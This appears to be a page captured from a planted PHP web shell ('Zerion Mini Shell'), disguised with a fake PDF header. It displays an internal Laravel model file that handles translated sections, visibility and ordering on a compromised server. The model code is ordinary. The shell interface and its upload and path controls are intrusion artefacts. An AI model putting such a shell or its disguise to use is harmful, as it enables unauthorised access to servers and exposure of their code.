%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api_internal/app/Models/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api_internal/app/Models/MyCountrySection.php

<?php

namespace App\Models;

use Dimsav\Translatable\Translatable;
use Illuminate\Support\Facades\DB;

/**
 * @property integer id
 * @property string order
 * @property string title
 * @property string description
 * @property boolean is_visible
 * @property integer category_id
 * @property MyCountryCategory category
 */
class MyCountrySection extends BaseModel
{
    use Translatable;

    public $translatedAttributes = [
        'title',
        'description',
    ];

    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'order',
        'is_visible',
    ];

    protected $casts = [
        'id'         => 'integer',
        'order'      => 'integer',
        'is_visible' => 'boolean',
    ];

    public function category()
    {
        return $this->belongsTo(MyCountryCategory::class, 'category_id');
    }

    /**
     * @return $this
     */
    public function show()
    {
        $this->is_visible = true;
        $this->save();
        return $this;
    }

    /**
     * @return $this
     */
    public function hide()
    {
        $this->is_visible = false;
        $this->save();
        return $this;
    }

    public function moveUp()
    {
        DB::beginTransaction();
        try {
            $oldOrder = (int)$this->order;
            $newOrder = $oldOrder - 1;
            /** @var Section $section */
            $section = self::query()
                           ->where('order', $newOrder)
                           ->first();
            if ($section) {
                $section->order = 999;
                $section->save();
                $this->order = $newOrder;
                $this->save();
                $section->order = $oldOrder;
                $section->save();
                DB::commit();
            }
            return $this;
        } catch (\Exception $e) {
            DB::rollBack();
            return $this;
        }
    }

    public function moveDown()
    {
        DB::beginTransaction();
        try {
            $oldOrder = (int)$this->order;
            $newOrder = $oldOrder + 1;
            /** @var MyCountrySection $section */
            $section = self::query()
                           ->where('order', $newOrder)
                           ->first();
            if ($section) {
                $section->order = 999;
                $section->save();
                $this->order = $newOrder;
                $this->save();
                $section->order = $oldOrder;
                $section->save();
                DB::commit();
            }
            return $this;
        } catch (\Exception $e) {
            DB::rollBack();
            return $this;
        }
    }

    public function canBeEnabled()
    {
        return $this->translations()
                    ->count() === 2;
    }

    public function getRelationKey()
    {
        return 'section_id';
    }

}



Zerion Mini Shell 1.0